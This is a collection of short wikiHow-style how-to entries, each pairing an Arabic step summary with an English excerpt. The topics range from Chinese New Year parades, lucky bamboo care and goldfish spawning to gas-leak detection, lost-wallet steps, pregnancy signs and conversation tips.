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Look online or in your local newspaper for information about a Chinese New Year Parade. These are sometimes held on a nearby weekend instead of New Year's Day itself, or even slightly outside the New Year period altogether.  Remember your camera, and dress warmly if you live in an area that has to celebrate the Spring Festival in the wintertime! You're in luck if you live near San Francisco: its annual Chinese New Year parade is said to be the largest and oldest outside of Asia. In the United States, large parades are often broadcast on local or regional television. Inside China, the national China Central Television broadcaster (CCTV) attracts hundreds of millions of viewers with their annual midnight Spring Festival Gala. Besides firecrackers, food, activities, and music, Chinese New Year parades are a rare opportunity to watch costumed dragon dancers and lion dancers.  The dragon dancers skillfully synchronize their dancing in one line, holding poles supporting a long, vibrant dragon. Dragons are common in Chinese mythology, in which they are revered symbols of the nation and people.  Two lion dancers share a single costume depicting a large, stylized lion. The lion is a powerful, majestic character in Chinese mythology, but the dance often includes comic elements, such as a silly monk who helps the lion track down a lettuce.  Both dances are accompanied by traditional Chinese drumming. On the final, fifteenth day of Chinese New Year, revelers celebrate among a multitude of decorative paper lanterns. Some cities create huge art pieces from lanterns.  Many people write riddles onto the lantern for children to solve. Now is the time to eat traditional sweet dumplings filled with all kinds of ingredients. These are called tangyuan. Put candles up on this day to guide good spirits home.


ابحث عن مُعلم موسيقى. حدد عدد المرات التي ستلتقي فيها مع مُعلمك. تدرّب.

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This is the most costly, but also the most proficient way to learn music. A good instructor will not only have a proven track record of helping beginners learn music but also be able to teach you the basics correctly. Using an instructor helps you avoid bad habits that can take a long time to unlearn.  Review sight reading, fingering, and playing with an instructor. Ask the instructor to review where the notes are located on the staff and the piano. Because your goal is to teach yourself how to play, then you probably won't be visiting an instructor frequently. Go to an instructor once a month just to do a check-up on your progress or to ask questions about anything that is puzzling you. For instance, you might have questions about if you're playing a song in the correct tempo. Once again, you will need to practice a great deal in order to learn how to play. Many people that visit piano teachers practice several times a week. So, practice 2 to 3 times a week or every day if you like. Plan on practicing playing for at least 30 minutes 2 times a week, but you also will need to take time out to review your notes and sight reading abilities. You don't need a keyboard or a piano to practice reviewing your notes..


ابحث عن نبات بأوراق خضراء ساطعة. قرر إذا كنت ستزرعه بالطريقة المائية أو في تربة. استخدم الوعاء الصحيح. اختر المكان المناسب.

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If the leaves or stems are yellow or brown, this means that the plant is unhealthy.  The plant has likely been shipped from China or Taiwan, so it's been through quite a trek.  Professional growers take the stalks and braid and curl them into intricate designs. Larger, more intricate designs result in some lucky bamboo plants costing hundreds and hundreds of dollars. A plant kept in a pot can grow up to 3 feet (0.9 m) high. If it's grown in soil outside, it may reach a height of up to 5 feet (1.5 m). It's probably easiest and a little cleaner to grow in water and stones, though it can also grow in soil. Ultimately, it's up to you and will likely be determined by the pot or vase you have available.  If you do go the stone route, the container should have enough stones or marbles in the bottom to stabilize it. The lucky bamboo will need at least 1 to 3 inches (3-8 cm) of water to thrive. If you want to grow it in soil, well-drained, rich potting soil is best. It needs to stay moist but not soaking at all times. Use organic fertilizer when needed; salts and high phosphorus concentrations in synthetic fertilizers can cause deterioration. Also, you can be sure your soil drains well by simply adding some small rocks to the bottom of the pot. Put the lucky bamboo in a tall glass vase or ceramic container – no shallow bowls – or leave it in the container it comes in. A clear container is great if you just want to grow the plant hydroponically with some decorative stones; use a regular terra cotta pot if you want to grow it in soil.  Keep in mind that the plant needs to be stabilized at its peak height. Your container should be at least 1 foot (30 cm) in height. Using soil? Fill the pot up most of the way with your rich soil and make sure it can drain well. Lucky bamboo do best in bright, filtered sunlight – think of the light that creeps through the top of a forest canopy. Direct sunlight will scorch the leaves. And as for temperature, keep it away from the air conditioning or vent. This plant prefers an air...


ابحث عن نتوءات التبييض على ذكور السمك الذهبي. راقب ذكور السمك تطاردة الإناث. انتبه إلى مستوى نشاط السمك الذهبي. لاحظ إذا كانت أسماكك ترفض الطعام. لاحظ حجم السمكة الذهبية.

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When your male goldfish are ready to spawn, they will develop tiny white bumps known as “spawning tubercles” around their heads, gill covers, and pectoral fins. If you notice these white spots on your male fish, there is a greater chance that your female fish may be pregnant. Spawning tubercles may be hard to see. If you do not see these, it doesn’t mean that your fish isn't pregnant. When they are preparing to spawn, the male fish may chase the female ones, in a dance sometimes called the “spawning chase.” In many cases, this behavior is more obvious than spawning tubercles (which can be hard to see). When goldfish are about to lay eggs, they usually start to move more sluggishly. Take note if your goldfish is moving slowly or seems to have trouble getting around. You may also notice your goldfish “nesting,” or spending most of the time hiding near shelters or plants. When are fish are preparing to spawn, they will sometimes refuse food. If your goldfish isn't eating as much, it is possible that they may lay eggs soon. Female goldfish are generally a bit rounder than male goldfish. When your female goldfish is about to lay eggs, the size of their belly may grow even larger, and stick out a bit. Just like the spawning tubercles, in some fish this can be quite noticeable, yet in others, you may not see it at all.


ابحث عن واحد من مراكز تدريب الفنون القتالية بالقرب منك. قم باختيار مدرسة تعليم يمكنك تحمل تكلفتها. جرب حضور الحصص التعليمية كزائر. قرر إذا ما كان أسلوب التعليم مناسبًا لشخصيتك أم لا. قم بتقييم المجتمع بداخل مركز التدريب. اطلع على مؤهلات المُدرب. اختر مدرسة تدريب تتوافق مع جدولك اليومي. اشترك وابدأ العمل.

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In most cases, you’ll probably land on a form of martial arts based on what is available in your area. If it is difficult or time consuming to get to your dojo, you'll just have one more excuse to not follow through. Search online and in the phone book for martial arts studios. Rarely do martial arts schools advertise their price of instruction in the phone book. Prices could be determined on a monthly basis, over several months, or by how often you train each week. In some cases, the price is negotiable depending on how many people will be taking classes with you (family package deals, for example). There are instructors who charge as little as $50 a month for instruction, and there are those who garner $50 or more for a single one-hour session. It is up to you to determine what you feel is a fair and manageable price for instruction. After some research, you will know who is asking too much. Another good way to save money is to look for classes that do not operate out of a storefront. There are many successful schools that operate in community centers, church basements, YMCAs and recreation halls. Just because a school does not have a fancy storefront does not mean the quality of instruction is inferior. Call and inquire about trial periods, attire required, and membership/class fees. Look out for hidden fees. Some places charge more per class after you've attended a certain number of them. A great way to get a feel for a martial arts style and a particular school/instructor is to attend a couple of classes before settling on a specific place and style. You’ll get a chance to see the space, meet with other practitioners, and visit the instructor. Talk to the other students. See what they like about the program and what they dislike. Some of the more tenured martial artists in attendance may even have experience about other programs, which will help you narrow down your decision. If you are looking to learn practical martial arts, does the class encourage or allow beginners to get involved in sparring or...


ابحث عن وثائق اللوحة الأم. استخدم برنامج سي بي يو زد (CPU-Z) لتحديد نوع المقبس. تفحص اللوحة الأم بصريًا إن لم تعثر على الوثائق. خذ المعالج القديم إلى متجر كمبيوتر إن لم تتمكن من التعرف عليه. فكر في شراء لوحة أم جديدة إن أردت التحديث.

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The number one factor that determines what processor you can install is the socket type of your motherboard. AMD and Intel use different sockets, and both manufacturers use multiple socket types depending on the processor. Your motherboard's documentation will provide you the necessary socket information.  You cannot install an Intel CPU in an AMD motherboard, or vice versa. Not all processors from the same manufacturer use the same socket. You cannot upgrade the processor on a laptop. CPU-Z is a freeware utility that can determine what kind of hardware you have installed. This is the easiest program to use to find your motherboard socket type.  Download and install CPU-Z from www.cpuid.com. Run CPU-Z. Click the "CPU" tab and note what is displayed in the "Package" field. Open your computer and find your motherboard's model number to look it up online.  Click here for detailed instructions on visually inspecting your motherboard. If you still cannot identify the socket type, remove your old processor from the motherboard and take it to a computer specialty store. One of the technicians should be able to tell you what socket type it is, and may be able to make recommendations on what processors would be good replacements. If you're trying to upgrade an older computer with a newer processor, there's a pretty good chance that the sockets won't match. As time goes on, getting a new processor that fits an older motherboard becomes more and more difficult. Purchasing a new motherboard along with your new processor will make things a lot easier. Note: If you're upgrading your motherboard, you may also need to upgrade your RAM, as old RAM is often incompatible with new motherboards.


ابحث عن وسيلة لنقل جهاز التلفزيون إذا لم يتوفر خيار استلام من المنزل. جهز قائمة بأصدقائك أقوياء العضلات. قف بالقرب من التلفزيون واستعد لحمله. اثنِ ركبتيك لتقدر على حمل التلفزيون بطريقة صحيحة. أمسك بقبضة يديك الأركان السفلية للتلفزيون. حافظ على استقامة قدميك عند حمل التلفزيون.

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The hardest part of getting rid of your old TV is getting it in a truck and lugging it around town. Since most recycling centers and manufacturers make you drop off your own item, you'll need a big vehicle. If you have your own pick-up truck, the TV will likely fit in the bed. If you only have a tiny sedan, ask around to see if a friend has a larger vehicle you can borrow for a day. As a last resort, you may need to rent a truck. Offer a friend or two some pizza in return for helping you move your old TV. You'll need the extra hands. Once the job is done, you can relax in front of your new TV! Don't stand more than 1 foot (0.30 m) from the old TV. Your legs should be shoulder-width apart. This is a nice strong stance that'll help you stay balanced as you lift the heavy item. You should never bend over from the waist to lift heavy items. Squat down, keeping your back straight. This will allow you to lift with your legs and avoid straining your back muscles. Lift up one side of the TV at a time. Slip your fingers safely under the lifted sides. If you're working in a team, be sure to communicate with one another. Make one person the spotter by positioning them in front of the TV to steady it as you lift each side. All the weight should be in your legs. If you feel a strain in your back, put the TV back down and reposition yourself. Once you've got it lifted, either walk the TV to the truck or move it to a wheeled dolly.  Wheeled dollies will make moving the TV from spot to spot much easier. If you're working without a dolly, you can also use an old blanket to slide the TV across surfaces. The spotter should continue to steady the TV once you transfer to it a dolly or start walking by keeping a hand on the center of the item.


ابحث في الفنادق وبيوت الشباب. ضع في اعتبارك استخدام موقع كاوتش سيرفنج (بالإنجليزية: ابحث في مواقع مجالسة الحيوانات.

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Of course, if you have family and friends in the area, stay with them. But if they're all back home, hotels and hostels are the standard option. Some hostels are slightly fishy, so do your research beforehand. Don't let the one bad hostel ruin the whole bunch. There are quite a few reputable chains and you don't have to go wandering up a dark alley to find one. Hostelling International makes finding one easy and just like booking a 4-star hotel. If you're willing to share accommodation with strangers, you can really get a bang out of your buck. And you might meet some fascinating people. Though it may seem too good to be true, couch surfing has a huge following and is a completely legit form of travel. Couchsurfing can set you up with people just like you all over the world. If you're willing to stay a bit longer, consider woofing. You'll work on an organic farm for as little as a couple of weeks in exchange for a roof over your head and a some meals. You can build up your skills and get much more into the culture than if you stayed in a hotel, frequenting your mini bar. Even better than couch surfing, house sitting has entire networks now that let you stay in a place for free just to feed the cat. On many house sitting sites, for an initial fee, you can put up your listing (and don't forget to sell yourself) and meet people looking to leave their home in trustworthy hands. Understandably, there are far more people looking to house sit than house sitters. When you sign up, do some research on creating a striking profile. Think of it as a job interview where you're in a pool of thousands of applicants (because you are). Set yourself apart from the herd in whatever way you can.


ابحث في المصادر المُتاحة في متناول يديك وفي أرجاء المنزل. خصص وقتًا كافيًا للتحضير للتجربة، ثم للتجربة نفسها، ثم للتنظيف بعد الانتهاء منها. قُم باحتواء منطقة الفوضى. حدد الكمية المناسبة من ماء الأكسجين.

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You don’t need to buy official lab equipment for this fun experiment as most of the supplies can be found at any home. Create a list of what you have available to you and see what you need to purchase. Remember that this can get messy so tell everyone involved that they have to pitch in for clean up afterward. Allow enough time for everyone to participate and enjoy the experiment. Experimenting with oozing foam can be fun at any age, but it’s easy for kids to get carried away. Whether you plan to conduct the experiment in the bathtub, out in the yard, or use a large baking pan or plastic bin, minimize cleanup by preparing a contained space. The amount of hydrogen peroxide will determine how much foam you generate. While you might have some 3% hydrogen peroxide in your medicine cabinet, you can also go to a beauty supply store to find 6% as it usually is not readily available at grocery stores or drug stores. Beauty supply stores will sell 6% hydrogen peroxide as bleaching agent. You can use 3% hydrogen peroxide for the experiment, though it may not produce as much foam as a 6% concentration.


ابحث في منزلك عن رائحة تشبه البيض الفاسد أو الكبريتيك. استمع إلى صوت الهسهسة أو الصفير بالقرب من الأجهزة أو الأنابيب. تحقق من لون نيران الموقد إذا كانت برتقالية أو صفراء بدلًا من اللون الأزرق. تحقق من وجود غبار أو سحابة بيضاء تتحرك بالقرب من خطوط الغاز. افحص حالة نباتاتك بالمنزل إذا تعرض أيًا منها للذبول. تحقق من فاتورة الغاز لمعرفة ما إذا كانت أعلى من المعتاد. لاحظ أيّة تغيرات جسدية تطرأ عليك وأنت في المنزل.

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Natural gases from your appliances have the added chemical mercaptan, making the gas have an unpleasant odor so you can detect it easier. If you notice the smell in your home, it’s possible that you have a gas leak near your stove, water heater, or another appliance.  Check the burners on a gas stove to make sure they’re completely turned off. Immediately turn off the gas supply line and leave the building if there is a strong odor. You may be able to hear the gas leaking from loose connections. If you hear a faint hiss or whistle that you haven’t heard before, walk around your home and listen for the change in volume. When it gets louder, you’re closer to the possible leak. The gas makes a hiss or whistle when it escapes through a tight space, so not all gas leaks will make a noise. Gas stoves should have blue flames, meaning that they have enough oxygen for the gas to completely combust. When there are yellow or orange flames, the natural gas isn’t completely burning and could be contributing to a gas leak. Gas stoves may have orange or yellow flames when they’re first lit. Only be concerned if the flame is consistently orange or yellow. While natural gas is usually colorless, a leak may stir up dust and make a small cloud near your pipes. Keep your eyes open for any mist or clouds that you can’t account for otherwise. Plants need carbon dioxide in order to survive, and gas leaks can limit the amount your plants get. If you notice your plants wilting or yellowing even though you still care for them regularly, you may have gas leaking into your home. Keep plants in areas in your home where gas leaks are common, like in your kitchen or close to a fireplace. Compare your gas bills over a 2-3 month period to see if there’s been a significant change in cost. If you notice a spike in your bill, contact your utility company first to make sure your bill is correct. If everything is right on their end, let them know you may have a gas leak in your home. Keep in mind any changes in your lifestyle. For example, if...


ابحث لمدة 24 ساعة، قبل إلغاء بطاقتك الائتمانية أو طلب الحصول على بطاقة هوية جديدة. ابحث عبر الإنترنت عن أي عمليات احتيالية يُستَغل فيها حساباتك الشخصية. أبلغ البنك عن بطاقتك المفقودة. ألغ البطاقات الائتمانية وبطاقات الدين. تواصل مع مكاتب الائتمان الرئيسية من أجل الإبلاغ عن عمليات الاحتيال على معاملاتك الائتمانية. قدم طلب الحصول على بطاقة هوية بديلة. اتصل بشركة التأمين واطلب الحصول على رقم حساب جديد. أبلغ الشرطة عن السرقة المحتملة لأي من ملكياتك. خذ نسخة مصورة لكل بطاقات الخدمات والبطاقات الائتمانية من أجل المرجعية المستقبلية.

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You have 48 hours to report a missing card before you are liable for any charges, so use the time wisely. If you know the card is stolen, move on to the next step immediately.  Search all clothing, bags, and pockets. Call recent locations, like restaurants and bars. Search your house systematically, circling from the perimeter of rooms to the middle. Check your bank and credit card accounts online to see if any purchases have been made since the card went missing. If there are charges, this likely indicates the card was stolen. Call your bank and let them know the card is gone. Report any fraudulent charges immediately.  Log the date and time of every interaction in case there is a dispute. Call the institutions involved and request a new card. If you have any alternate copies, cut them up and discard them. You may need to provide bank information to verify your card is missing.   Mastercard: 1-800-627-8372  Visa: 1-800-VISA-911  Amex: 1-800-528-4800  Discover: 1-800-347-2683 This helps prevent serious changes to your credit score. The numbers are:   Equifax: 1-800-685-1111  TransUnion: 1-800-888-4213  Experian: 1-888-397-3742 Call, visit, or go online to check your state DMV's policy on new licenses. Many let you get your first replacement online, though it does cost money. You should do this for medical, dental, and auto insurance to avoid potential identity theft. They will let you know if something comes up. Having a police report will also make it much easier to deal with disputes from your bank or credit cards if something goes wrong or your identity is stolen. You should file a police report online no matter what, providing a paper trail for your bank in a dispute. It is much, much easier to remedy a lost wallet if you have copies of all the documents and cards. Never carry your Social Security card in your wallet, even a copy.


ابحث واعرف خسارات حياتك. اسأل نفسك لماذا لن تتوقف عن فعل الصواب. حدد ما الذي تتطلع لتحقيقه كونك عنيدًا. اطلب المساعدة إن كنت تعاني.

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Stubbornness can be a reaction to losing someone or something in your life. You may be self-protecting against any further loss because the initial loss was extremely painful. Things, people, or family status may have been pulled out from under you. Subconsciously you think if you hold your ground on everything, you won’t get hurt.  The root of a person’s stubbornness varies from person to person. Possible reasons include: feelings of inferiority; there may be a secret being protected; a desire to get attention from others; a person is afraid to give up power.  Situations that may trigger a person’s stubbornness include: playing a competitive game; a schoolmate might be flunking out of school and doesn’t want anyone to know so he refuses to talk about his classes; a person gets into a debate over something and takes a side just to antagonize everyone involved; a roommate refuses to share responsibility in an issue over expenses. The world filled with stubbornness you are trying to create is not healthy. You will eventually end up feeling isolated, depressed and may suffer other psychological challenges.  Did you experience a loss of control when a parent left, a spouse was killed, or your dream job was eliminated? Rather than remain stubborn, learn new and healthier coping strategies including but not limited to: participate in healthy activities that require you to open up, learn about the grieving process, or meditate.  Are you passive aggressive because someone in your life always told you what to do and you didn’t like it? Now, when someone asks you to do something you say you will, then you stubbornly drag your feet to make the other person angry. Follow through on your promises as passive aggressive behaviors will undermine and deteriorate any relationship. Insecurity drives a lot of human behavior and can lead to anxiety and depression. Do you fear others will think you are uneducated, a low-achiever, or somehow less of a human being if you show your vulnerabilities? Believing you are right when it is...


ابحثي عن أي تغيير في جدول مواعيد زوجك. حاولي الاتصال بزوجك. انتبهي إلى الأشياء الجديدة أو غير التقليدية التي قد يتركها زوجك أمامك في مكان أو آخر. قومي برصد سلوكيات زوجك الإلكترونية. قومي بمراجعة الإفادات الواردة من الحسابات البنكية أو الجهات المالية.

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Pay attention to if your partner makes changes to their normal routine. They could be doing this to accommodate the schedule of their new interest or spending time with someone else. These changes can be large shifts in their schedule or small changes that suddenly appear.  Listen for more frequent excuses your partner may make about their schedule, such as staying late at work, traffic jams, or other mishaps that can explain why they are away from home more often. If your partner seems to all of sudden want to go out with their friends without you, this could offer a convenient alibi for their time away. Notice if your partner stops inviting you to work events and trips. Be on the lookout for unplanned business trips or other excuses they could make for being absent for lengthy periods of time. Alternatively, if your absence from your partner is suddenly not a problem, and your partner doesn’t seem to mind you working late or going away, they could be spending that time with someone else. Are you suddenly finding it hard to get in touch with your significant other? If you repeatedly attempt to call your partner and they don't answer their cell phone, this could be a sign that your relationship is changing.  Your partner may make excuses about the phone's behavior. He or she could argue that a new phone has a dead battery, or is having technical problems, or that they were in an area with no signal. Be alert if your partner advises you that he or she is too busy to answer phone calls, or if they suggest that they should be the one to initiate contact. Is his or her phone turned off during times you can normally get through? Your partner could have silenced their phone to give them a chance to be with another person undisturbed. Sometimes your partner will leave telling objects in plain view that indicate they are being unfaithful, such as house keys for another person's home.  Review the details of shopping or restaurant receipts. Look through paperwork for contact phone numbers. Look for hotel room keys,...


ابحثي عن الزجاجات المزودة بجزء سفلي قابل للإزالة. اختاري زجاجة بفوهة واسعة. تأكدي من أن الزجاجة مصنوعة من فولاذ مقاوم للصدأ بجودة عالية.

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Many newer stainless steel water bottles have bottoms that can be twisted off.  This allows you to better access the bottom and inside of the water bottle, which might be impossible in a stainless steel water bottle that has a narrow neck and mouth. Bacteria can hide in the bevels of water bottles with narrow mouths.  A wide-mouthed stainless steel water bottle will limit the curvature of the water bottle’s internal surface, minimizing the surface area that bacteria prefer.  Wide-mouthed bottles allow you to more easily see and access the inside of it, making cleaning easier. Not all stainless steel is created equal.  There are a number of different stainless steel alloys.  Before buying a stainless steel water bottle, check the tag or the bottle itself for verification that the bottle is made from stainless steel with either 18/8 or 304.  These are the two food-grade stainless steel ratings.


ابحثي عن الغثيان الصباحي. أعيري انتباهك إن كانت الروائح أو الأطعمة تزعجك. لاحظي كم تكونين جائعة. انتبهي للطعم المعدني. لاحظي إن كنتِ تشعرين باشتهاءٍ لأطعمة معينة. تحققي من وجود مشاكل في التنفس.

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Morning sickness can strike early in a pregnancy. Despite its name, morning sickness doesn't just happen in the morning. You may have an upset stomach any time of day. Your may also experience some vomiting. This symptom can strike as early as 2 weeks after conception. You may start noticing you suddenly don't like certain foods or smells. It will come out of the blue, and you may have been just fine with them before. In fact, these foods or smells may make you nauseated. Often, you will find you are much hungrier if you are pregnant. If you notice you are eating more than normal and still find yourself hungry, you may be pregnant. Some women describe this symptom as a constant hunger. Sometimes, women experience having a metallic taste in their mouths. This symptom is especially prevalent in the early stages of pregnancy. Like food aversions, you may start craving certain foods. Of course, everyone gets a craving for a certain food every now and then. Nonetheless, pregnancy cravings tend to be more intense. Sometimes, you may notice you get out of breath more quickly in the early stages of pregnancy. Usually, this symptom is mild. However, if you do notice this symptom, it's definitely a sign you should see your doctor.


ابحثي عن المقشرات الكيميائية التي تباع في المحلات. خذي حمامًا. نظّفي بشرتكِ بمقشر تجاري. اشطفي جسمكِ بعد الانتهاء من التقشير. ضعي كريمًا مرطبًا.

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Although calling it 'chemical exfoliation' may carry the pejorative impression of being unhealthy or unnatural for the skin, most chemical exfoliators are actually based in natural ingredients, like fruits, milks, or sugars.  Many exfoliators are relatively affordable and readily available at your nearest supermarket. As with the steps pertaining to mechanical exfoliation, having a hot bath or shower will open up your pores, making your skin easier to clean and exfoliate. Attaching the exfoliating process to an existing part of your daily schedule will make it that much easier to make it part of your routine; keep in mind that exfoliation is best approached as a regular part of your life. You may have softer skin immediately after an exfoliating cleanse, but repetition will yield longer lasting results. Squirt some exfoliator onto your hands, and begin to rub it onto your skin. Before applying the exfoliator, it's important to make sure your hands are clean; otherwise, you may very well be spreading bacteria to your skin and face. In a gentle, circular motion, swirl the exfoliator around your skin to sweep away any grime and dead skin cells. Take particular care towards exfoliating your face; not only is it the part of you  people are going to notice the most, it also carries more oil than other parts of your skin. Three minutes on the face alone should suffice; the rest of the body should warrant a less intensive, but nonetheless attentive do-over with your exfoliator. When exfoliating your face, take proper care to focus on the central area of your face, from the forehead to the nose to the chin. Collectively, this is referred to as the 'T-Zone', and is notorious for its oiliness. Take some water in your hands and wash the product away. Making sure  the exfoliant is entirely gone will ensure it doesn't irritate your skin later on. Although the chemical exfoliating process requires less of a 'physical' element than its mechanical counterpart, you should find your skin just as soft and smooth following a...


ابحثي عن اهتمام مشترك. اطرحي عليه أسئلة مفتوحة النهاية أنصتي أكثر مما تحدثين. اطرحي سؤالًا مثيرًا للاهتمام. تحدثي عن الثقافة السائدة. أنهي المحادثة بشيءٍ مثير.

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Finding a shared interest is conversational gold. When you find a topic that both of you enjoy talking about, the conversation will flow much more easily. Even if it's something you're not particularly knowledgeable about, demonstrate your interest by asking him plenty of questions and allow him to do the talking.  For example, if you discover that you both like to watch football, ask him about his favorite team, who he thinks their best players are and whether they'll make it to the playoffs this year. Once you get him going there'll be no stopping him, and he'll probably think you're a pretty cool girl for being interested. Pick up on hints about his interests from his clothing, desk or accessories. If he's wearing a band tee - bingo! He likes music. If he has a surfing picture set as his desktop background, that's a pretty good indication he likes to ride the waves. Picking up on small details can help you to choose the right topic to get him going. . To really get the conversation going and to find out about your guy's interests and personality, it's important to ask open-ended questions. Avoid questions with one-word answers or rote questions that he'll automatically answer without thinking.  For example, avoid starting a conversation with "how are you?" which he'll probably answer by reflex with a "fine" or a "good". Instead try asking him "what did you do this weekend?" or "what do you think of the new boss?" which will force him to think about his answer and actually string a sentence together. Alternatively, you can try asking him an "either-or" question, to initiate a playful debate. Ask him whether he prefers "The Simpsons" or "Family Guy", rock or hip-hop, burgers or hot dogs. Whatever he answers, gently tease him about it and soon you'll both be laughing. more than you talk. Conversational etiquette dictates that you should always listen more than you talk. That's why you have two ears and only one mouth, right? So once you've got the ball rolling, take a back seat during the conversation and...


ابحثي عن علامات الانجذاب  كوني صريحة اطلبي منه الخروج في موعد. تقبلي الرفض

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. Before you ask someone out, it's a good idea to see if they're interested as well. If the guy doesn't seem at all invested, it may be a good idea to stick to being friends.  A guy who's interested will often show this in his body language. He will lean towards you when he talks, make eye contact, and smile frequently. People often subtly mirror one another's body language when they're interested in someone. A guy may, for example, cross his legs when you do. If a guy makes excuses to touch you, this is a sign of attraction. He may brush your arm, give you a hug, or try to touch you in other ways. It may also help to notice if he acts different around you then he does other people. This may suggest he likes you, and may even go against the normal signs. For instance, if he is usually very flirty with just about everyone but is more quiet and shy around you, this may actually be because he is nervous around you. Keep in mind that none of these are definite signs he is interested. . Sometimes, it's best just to be straightforward. It can be scary to confess your feelings; however, if you think the guy is interested, it's easier to just come out and say so instead of beating around the bush.  Keep it simple. Say something like, "So, I really like you a lot. I was wondering if you feel the same way." Take a few deep breaths before going into the conversation. This will help you stay calm. If it goes well, ask the guy out on a date. Say something like, "Do you want to see a movie tonight?" or, "Do you want to go to the school dance with me?" It can be hard to make the first move, but if your feelings are shared that's somewhat easier. . You can never be 100% sure if someone is interested in you. Even if you think you've read the signs correctly, there's always a chance a guy will not return your affections. If this is the case, try to accept this and move on.  If the guy turns you down, don't question him or get angry. Say something like, "Oh ok. I'm disappointed, but I understand." Then you can excuse yourself...


ابحثي عن قدوة. ارتدي ملابس أنيقة. تحدي مخاوفك. جربي شيئًا جديدًا.

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Being sassy isn't exactly a stereotype that's easily accessible in modern society; however, that does seem to be slowly changing. There are more and more women in media who are stronger, bolder, and sassier by the minute. So find a role model and get some inspiration. Sometimes we need an example to follow! Prominent examples that come to mind? Beyoncé, Ke$ha, Rihanna, even Taylor Swift has her sassy moments. Kristin Wiig, Jennifer Lawrence, and Tina Fey are good, too. Though your Aunt Jean isn't a bad idea, either! If a hobo is sassy, she's just being insubordinate and might be a little drunk. But if a girl who's rocking the style is sassy, she's got the whole package. While it shouldn't have anything to do with the clothes you wear, it definitely helps. When your clothes have a punch of attitude, it'll be easier for you to feel the sass, too. "Stylishly" is obviously relative. If you're into the punk scene, you're not going to think haute couture is stylish. Trust whatever this word means to you. The important thing to take away from this is that your clothes have an effect on people -- including you. Can you imagine being sassy in a walrus outfit? There is something about sassy that is unafraid. It's willing to go outside of the box and do whatever it takes. So if being confident is easy if speaking your mind is easy, take it to the next level and challenge your fears -- you'll be all the better for it. You'll be bolder and shine brighter. What's not to like? So whether it's public speaking, heights, or slugs, challenge yourself. You're not afraid of challenging others, right? You call 'em out, you tell it as it is, you're honest -- so you have to be honest with yourself, too. It's only fair! Dunno where to start? How about wikiHow's How to Overcome Fear article? Sassy girls (and guys!) are dynamic and anything but boring. Since they can find joy and humor in just about anything, there's nothing they're not unwilling to try. So be the one in yoga class that also practices krav maga. Bring your ukulele to...


ابحثي عن قطرات دماء. انتبهي للتقلصات. لاحظي إذا ما كنت تتبولين كثيرًا. انتبهي للدوار. لاحظي إذا كنت تزدادين جوعا. لاحظي إذا أصابك الغثيان. لاحظي إذا كنت تنفرين من بعض الأطعمة والروائح. لاحظي إذا ما واجهت صعوبة في التنفس. لاحظي إذا شعرت بمرارة في حلقك.

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If you aren't about to have your period, spotting may be a sign of implantation. Normally, this spotting will not be like a regular period; you will just have light bleeding. It may closely resemble the first couple of days of your period. Cramps can occur with early pregnancy. While you're likely to feel cramps while on your period they can occur just before your period and are a common symptom of PMS. Implantation pain resembles menstrual cramps. Pay attention to how heavy the cramps are. If they are especially painful, you should call a doctor. Also, if they are moved over to one side in your body, you should also call. Both of these could be signs of a problem. One sign that your fertilized egg has implanted is that you need to pee more, for some people. You have more of the hormone Human Chorionic Gonadotropin, increasing how much blood flow you have near your bladder, which can cause you to urinate more. If you are pregnant, you may feel lightheaded or dizzy, most likely because of hormonal changes. However, some doctors think this symptom could also be due to the fact that your body is creating more blood for the baby. Sometimes, even in early pregnancy, you may start to feel more hungry than normal. If the symptom lasts more than day or two, it could be a sign your fertilized egg has implanted. Morning sickness is a misnomer; nausea and vomiting can happen any time of the day when you're pregnant. This symptom can happen as early as 2 weeks after you conceive. One symptom of early pregnancy is a sudden aversion to certain foods and smells. This symptom can trigger morning sickness, even if the smells or food were something you loved before. This symptom happens most often early in pregnancy and late in pregnancy. You may feel out of breath more easily. No matter when you feel it, you should definitely talk to your doctor about it. Some women may have a metallic taste in their mouth soon after getting pregnant. This symptom is not associated with PMS.


ابحثي عن منتجات الشعر المناسبة. تجنبي التوتر. جربي تصفيفة شعر جديدة. اهتمي بحميتك الغذائية. ابدأي في أخذ مكملات. فكري في استخدام وسائل تحديد النسل الهرمونية.

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Certain hair products, shampoos, and conditioners, are believed to help keep hair looking full and healthy.  You may have to try a few different products before you find one that works best for your hair and hairstyle.  Try looking for some of the following qualities:  Look for products labeled “volumizing shampoo.” Avoid “conditioning shampoos,” as these can make the hair appear less full or heavy. Avoid “intensive conditioners.”  These may be too heavy and cause your hair to look less full. Try to find conditioners that are designed for fine hair. Products that contain biotin or silica may help as well. Being under stress can increase hair loss.  Stress may cause your hair follicles to go into a resting phase, resulting in thinner hair coverage.  Hair loss caused by stress can be reversed by reducing that stress. This, of course, may be difficult to do with a new baby. Make sure you are asking for help when you need it and your partner is helping you as much as possible. Ask your hairstylist to cut your hair in a new style, that makes it look fuller.  Remember that hair loss caused during post-pregnancy is temporary, and that you can always restyle your hair once it starts recovering. Longer hairstyles can make hair loss more noticeable. Your diet can have an effect on the health of your hair.  By eating certain foods you can help ensure that you have healthy hair.  Try monitoring your diet for the following vitamins and minerals:  Protein. Hair is made up of protein. Getting enough protein in your diet will help keep your hair strong. Iron.  If you eat meat, try consuming lean meat for a healthy source of iron.  Vegetarian sources of iron include soybeans, lentils, and spinach. Flavonoids and antioxidants. Vegetables and fruits can contain flavonoids and antioxidants, which can help with the maintenance of hair follicles. Some supplements are recommended to keep hair healthy and strong.  While you wait for your hormone levels and hair growth to return to normal, you can treat your hair with certain...


ابدأ الآن. أحِط نفسك بالأشخاص الإيجابيين. قِس التقدم الذي تصل إليه. استمر.

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It can be tempting to think to yourself that you’ll do it tomorrow or you’ll do it after x thing happens. Procrastination stems from a fear of failure. The longer you put off changing yourself, the longer it will take to fix your life. The people you hang around will have a significant effect on you achieving your goals. Look for friends who will encourage you and help you to better yourself. Tell someone you trust about your plans and ask them to help you fix your life. Such people might give you valuable advice and resources that you would not have thought of on your own. The plan you laid out earlier will let you know if you are on track. As your goal(s) are time based, you have a schedule to follow. Sometimes, things happen that you didn’t account for and your plans may get delayed. This doesn’t mean that you aren’t making progress. It just means there’s an obstacle that you didn’t foresee. Don’t take this as an excuse to give up. Think of a solution, factor it in. Remind yourself why you wanted to fix your life in the first place. Fixing your life won’t happen overnight. It takes time to break old habits and practice new behaviors and it takes time for results to happen. You might find yourself berating yourself and being critical. Remind yourself that negative thinking leads to negative behavior. If you fall back into an old habit, that doesn’t mean you’ve failed and are back at square one. Remind yourself of your goals and why you wanted to fix your life in the first place.


